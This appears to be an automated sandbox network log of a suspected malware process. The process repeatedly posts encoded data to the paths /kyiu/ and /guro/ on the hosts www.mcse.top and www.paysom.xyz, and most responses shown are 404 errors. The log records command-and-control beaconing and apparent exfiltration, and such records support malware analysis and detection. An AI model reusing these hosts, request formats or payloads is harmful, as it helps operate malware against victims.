                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 62 41 79 7a 48 65 31 6d 4a 55 35 39 4c 45 51 78 39 74 52 50 48 39 50 62 45 78 59 5a 6f 66 77 43 4e 75 34 4c 4d 64 4c 66 57 33 31 44 54 59 4f 74 46 51 75 76 71 6f 7a 52 53 67 42 64 44 32 61 64 37 72 51 4b 77 4e 55 73 32 68 78 4c 45 77 52 53 4a 6a 72 72 36 37 55 73 4f 6f 76 6f 58 65 77 6c 6e 75 6c 2f 66 50 46 6a 33 6c 69 32 67 63 77 36 6b 2b 6b 45 35 4a 46 4a 73 38 35 44 33 30 31 62 46 79 2b 77 45 71 61 4a 31 64 33 51 59 39 69 35 35 69 73 6d 75 76 79 78 41 66 63 54 48 77 74 71 32 79 71 58 63 64 51 43 75 76 54 51 53 72 7a 77 75 7a 42 65 42 4b 63 44 6e 6e 2b 4a 55 75 53 77 71 39 52 30 31 50 68 71 53 6f 41 38 66 4b 69 33 45 55 57 31 50 59 35 48 53 66 6d 42 6a 39 63 4f 33 77 3d 3d
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=bAyzHe1mJU59LEQx9tRPH9PbExYZofwCNu4LMdLfW31DTYOtFQuvqozRSgBdD2ad7rQKwNUs2hxLEwRSJjrr67UsOovoXewlnul/fPFj3li2gcw6k+kE5JFJs85D301bFy+wEqaJ1d3QY9i55ismuvyxAfcTHwtq2yqXcdQCuvTQSrzwuzBeBKcDnn+JUuSwq9R01PhqSoA8fKi3EUW1PY5HSfmBj9cO3w==
                                                                                                                                                                                                      Oct 9, 2024 14:45:31.536432028 CEST691INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Server: nginx
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:45:31 GMT
                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Content-Length: 548
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      11192.168.2.665407154.9.228.56804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:45:33.519028902 CEST1788OUTPOST /kyiu/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.mcse.top
                                                                                                                                                                                                      Origin: http://www.mcse.top
                                                                                                                                                                                                      Referer: http://www.mcse.top/kyiu/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 1249
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 62 41 79 7a 48 65 31 6d 4a 55 35 39 4c 45 51 78 39 74 52 50 48 39 50 62 45 78 59 5a 6f 66 77 43 4e 75 34 4c 4d 64 4c 66 57 33 4e 44 53 75 79 74 44 33 61 76 6c 49 7a 52 52 67 42 63 44 32 61 36 37 72 49 4f 77 4e 59 53 32 6a 35 4c 43 57 46 53 50 53 72 72 7a 37 55 73 57 59 76 70 54 65 77 4b 6e 75 31 7a 66 4f 35 6a 33 6c 69 32 67 65 59 36 6a 72 59 45 2f 4a 46 4f 34 73 35 35 39 55 30 2b 46 79 32 4b 45 71 57 6a 32 73 58 51 5a 64 79 35 71 77 55 6d 79 2f 79 6b 54 76 64 57 48 77 77 30 32 79 32 74 63 64 4d 6b 75 74 50 51 52 39 75 78 2f 48 56 4b 54 36 4e 67 38 32 4f 32 54 59 61 44 74 62 52 59 37 35 68 45 51 6f 42 4f 58 66 53 36 4e 43 58 53 41 37 45 76 51 59 62 49 71 75 70 47 71 36 43 7a 50 37 45 35 51 6c 5a 2f 73 75 42 70 62 4e 2b 4f 74 59 63 52 37 32 5a 7a 50 67 6d 62 52 55 48 74 51 4b 37 70 64 47 64 37 65 71 61 49 46 37 36 74 5a 2f 69 4f 62 68 35 6f 6e 4e 59 37 6b 78 7a 39 68 78 4c 4f 61 45 30 65 58 55 70 6f 37 2f 6e 75 2f 34 4f 43 4a 44 4c 35 61 7a 4e 62 43 50 43 43 69 72 31 42 41 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=bAyzHe1mJU59LEQx9tRPH9PbExYZofwCNu4LMdLfW3NDSuytD3avlIzRRgBcD2a67rIOwNYS2j5LCWFSPSrrz7UsWYvpTewKnu1zfO5j3li2geY6jrYE/JFO4s559U0+Fy2KEqWj2sXQZdy5qwUmy/ykTvdWHww02y2tcdMkutPQR9ux/HVKT6Ng82O2TYaDtbRY75hEQoBOXfS6NCXSA7EvQYbIqupGq6CzP7E5QlZ/suBpbN+OtYcR72ZzPgmbRUHtQK7pdGd7eqaIF76tZ/iObh5onNY7kxz9hxLOaE0eXUpo7/nu/4OCJDL5azNbCPCCir1BAzphYD196aamItGotGqa1pa8ui8ipdfoPmeg8tOi8Pp84ryIzRm3Zjzy6ujaBzX9uJT/m+QsAdnMhsafVPhjzks0ERiGpQmSGTmH6i/VVoy+Tnxj3KLUdGTJoWtzpwLZci+kkUxnmyCwu5+SreQq48mqN39cMGW1B/xvqerVnBGPTsjBU2JceU4hu/ziYwyeG5e5bSqvn5K9TRxfRHtRXbNZNjfIV2m+LSKNzRP0zLL4o9tl1F3fG+q+nz9EpfAA/x4d0vfFlUzuKH6hHjC93FQYrJXEfOwHdIImrGFCkLsQWE7Oiit5JleLVe+xz/t/xhm3qBVncNVZvkpeyWAcJ1vUku9SRD0TktmkRpg01CrlUmZeTghuil4djK940WUMPX8EnzCT3Lgyhh82bhB+nWgr3JvgC0MQwIohAL8hqbTrsKeJuvM/jGjOP0mt4Iik3UE1d5NDeUqJyzBPrdThcQFcJcUqXCAEoC6dA6rGPkpMKRUXfO1ng6yKa9CchF24P4azEEqZYICs1fzpM6qu5h4a214Cwy9R2RfwGBhV9jvFueIuKu87FdETS+d7JQtjD6QC+JgBVmRfLjSUK4PEfx2972e7Gfs4g2bsV4SJv04qLgbSyynKRQNor8JLifV1V964tbxuxhYOLFToWnYRVD4kMVTw0b3pOgP [TRUNCATED]
                                                                                                                                                                                                      Oct 9, 2024 14:45:34.101773977 CEST691INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Server: nginx
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:45:34 GMT
                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Content-Length: 548
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      12192.168.2.665408154.9.228.56804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:45:36.067819118 CEST513OUTGET /kyiu/?uDe8o=HnM0Zn40QtgXtNk0&LvYDDv8X=WCaTEpVIV1F/IDd5xet0U/v8EBgR4+MrBcMWAOPreHJieMqZHDOJq6LkbwJNcnm0/KUex7YRpxZmHiJXClvi8I9PPuXybuoVwOs3fotoyVO7k8Vx44swwpMw6MtF3E0pNAK3MKk= HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.mcse.top
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Oct 9, 2024 14:45:36.628642082 CEST691INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Server: nginx
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:45:36 GMT
                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Content-Length: 548
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      13192.168.2.665409203.161.41.205804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:45:41.681884050 CEST757OUTPOST /guro/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.paysom.xyz
                                                                                                                                                                                                      Origin: http://www.paysom.xyz
                                                                                                                                                                                                      Referer: http://www.paysom.xyz/guro/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 213
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 32 38 4d 6a 2b 78 47 65 66 34 45 6f 46 37 61 6e 33 32 46 62 43 53 36 38 6f 72 5a 69 44 7a 49 51 4a 70 6e 33 68 4a 58 46 4c 7a 63 78 54 45 77 6d 44 67 64 37 31 77 52 50 50 45 50 31 74 33 78 6d 69 79 6f 34 32 4e 78 36 32 43 41 32 68 42 39 6d 49 48 48 73 6a 64 56 7a 34 67 38 6f 41 77 31 61 45 35 43 4c 46 41 6c 33 63 4c 46 52 74 44 6c 4a 48 75 4c 67 74 68 52 4e 77 64 74 4b 6a 45 68 5a 79 32 6e 71 71 71 4c 6d 79 33 71 58 64 48 39 53 54 52 46 73 70 2b 70 45 65 74 2f 58 70 73 7a 43 4d 51 68 58 4c 59 79 2f 63 30 48 65 73 66 30 76 35 4d 34 37 57 4f 6f 31 43 43 43 4c 4f 64 68 41 32 62 79 55 63 2f 4a 48 38 37 6f 68
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=28Mj+xGef4EoF7an32FbCS68orZiDzIQJpn3hJXFLzcxTEwmDgd71wRPPEP1t3xmiyo42Nx62CA2hB9mIHHsjdVz4g8oAw1aE5CLFAl3cLFRtDlJHuLgthRNwdtKjEhZy2nqqqLmy3qXdH9STRFsp+pEet/XpszCMQhXLYy/c0Hesf0v5M47WOo1CCCLOdhA2byUc/JH87oh
                                                                                                                                                                                                      Oct 9, 2024 14:45:42.268707991 CEST533INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:45:42 GMT
                                                                                                                                                                                                      Server: Apache
                                                                                                                                                                                                      Content-Length: 389
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      14192.168.2.665411203.161.41.205804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:45:44.222424030 CEST781OUTPOST /guro/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.paysom.xyz
                                                                                                                                                                                                      Origin: http://www.paysom.xyz
                                                                                                                                                                                                      Referer: http://www.paysom.xyz/guro/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 237
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 32 38 4d 6a 2b 78 47 65 66 34 45 6f 46 62 4b 6e 34 33 46 62 56 43 36 6a 6b 4c 5a 69 4b 54 49 55 4a 70 37 33 68 49 53 64 4c 46 45 78 53 6c 41 6d 43 6b 70 37 79 77 52 50 42 6b 50 77 67 58 78 76 69 79 55 47 32 4d 4e 36 32 43 45 32 68 44 31 6d 49 30 76 76 67 74 56 39 77 41 38 32 64 67 31 61 45 35 43 4c 46 45 49 53 63 4c 4e 52 74 7a 31 4a 47 50 4c 6e 7a 52 52 4f 34 39 74 4b 30 55 68 56 79 32 6e 63 71 72 6d 39 79 7a 61 58 64 47 4e 53 51 44 39 76 6e 2b 70 47 54 4e 2b 68 6d 64 53 33 43 79 6f 56 46 37 57 50 4e 6d 6a 36 74 70 31 31 6c 2f 34 59 45 65 49 33 43 41 61 35 4f 39 68 71 30 62 4b 55 4f 6f 46 67 7a 50 4e 43 57 33 53 64 55 43 6f 6c 64 4f 44 6c 2b 74 6f 62 38 51 35 38 47 51 3d 3d
                                                                                                                                                                                                      Data Ascii: LvYDDv8X=28Mj+xGef4EoFbKn43FbVC6jkLZiKTIUJp73hISdLFExSlAmCkp7ywRPBkPwgXxviyUG2MN62CE2hD1mI0vvgtV9wA82dg1aE5CLFEIScLNRtz1JGPLnzRRO49tK0UhVy2ncqrm9yzaXdGNSQD9vn+pGTN+hmdS3CyoVF7WPNmj6tp11l/4YEeI3CAa5O9hq0bKUOoFgzPNCW3SdUColdODl+tob8Q58GQ==
                                                                                                                                                                                                      Oct 9, 2024 14:45:44.794107914 CEST533INHTTP/1.1 404 Not Found
                                                                                                                                                                                                      Date: Wed, 09 Oct 2024 12:45:44 GMT
                                                                                                                                                                                                      Server: Apache
                                                                                                                                                                                                      Content-Length: 389
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Type: text/html
                                                                                                                                                                                                      Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                      15192.168.2.665412203.161.41.205804040C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      TimestampBytes transferredDirectionData
                                                                                                                                                                                                      Oct 9, 2024 14:45:46.772264957 CEST1794OUTPOST /guro/ HTTP/1.1
                                                                                                                                                                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                                                      Accept-Encoding: gzip, deflate
                                                                                                                                                                                                      Accept-Language: en-US,en;q=0.5
                                                                                                                                                                                                      Host: www.paysom.xyz
                                                                                                                                                                                                      Origin: http://www.paysom.xyz
                                                                                                                                                                                                      Referer: http://www.paysom.xyz/guro/
                                                                                                                                                                                                      Cache-Control: max-age=0
                                                                                                                                                                                                      Connection: close
                                                                                                                                                                                                      Content-Length: 1249
                                                                                                                                                                                                      Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                                                      Data Raw: 4c 76 59 44 44 76 38 58 3d 32 38 4d 6a 2b 78 47 65 66 34 45 6f 46 62 4b 6e 34 33 46 62 56 43 36 6a 6b 4c 5a 69 4b 54 49 55 4a 70 37 33 68 49 53 64 4c 46 38 78 53 54 38 6d 44 44 31 37 7a 77 52 50 4a 45 50 78 67 58 77 39 69 79 4d 61 32 4d 41 42 32 41 73 32 6a 68 4e 6d 44 6c 76 76 37 39 56 39 38 67 38 33 41 77 31 31 45 34 79 48 46 45 34 53 63 4c 4e 52 74 78 64 4a 41 65 4c 6e 78 52 52 4e 77 64 73 59 6a 45 68 78 79 32 2b 70 71 72 54 49 7a 43 6d 58 64 6d 64 53 63 57 52 76 34 75 70 41 66 74 2b 70 6d 64 65 65 43 32 77 76 46 36 7a 48 4e 6c 2f 36 74 59 51 69 77 2b 49 48 57 64 34 57 66 67 69 66 50 4a 74 71 79 62 61 75 47 35 35 4a 39 74 38 6f 61 51 53 67 65 69 4a 63 58 6f 71 49 77 62 68 63 2f 30 77 79 65 70 5a 52 68 30 6a 38 58 74 41 48 6b 78 6f 71 6d 48 53 63 54 52 31 67 30 42 53 4b 4b 70 56 56 78 75 2b 51 4b 6c 30 42 63 74 38 6d 73 4c 72 7a 48 61 4f 32 75 33 41 54 70 30 67 77 7a 79 4c 54 31 68 6c 41 47 6c 61 75 4b 7a 69 77 4e 62 74 4d 73 57 61 38 72 42 78 65 6a 63 75 6e 37 68 6e 6d 44 48 54 4f 41 66 73 51 63 [TRUNCATED]
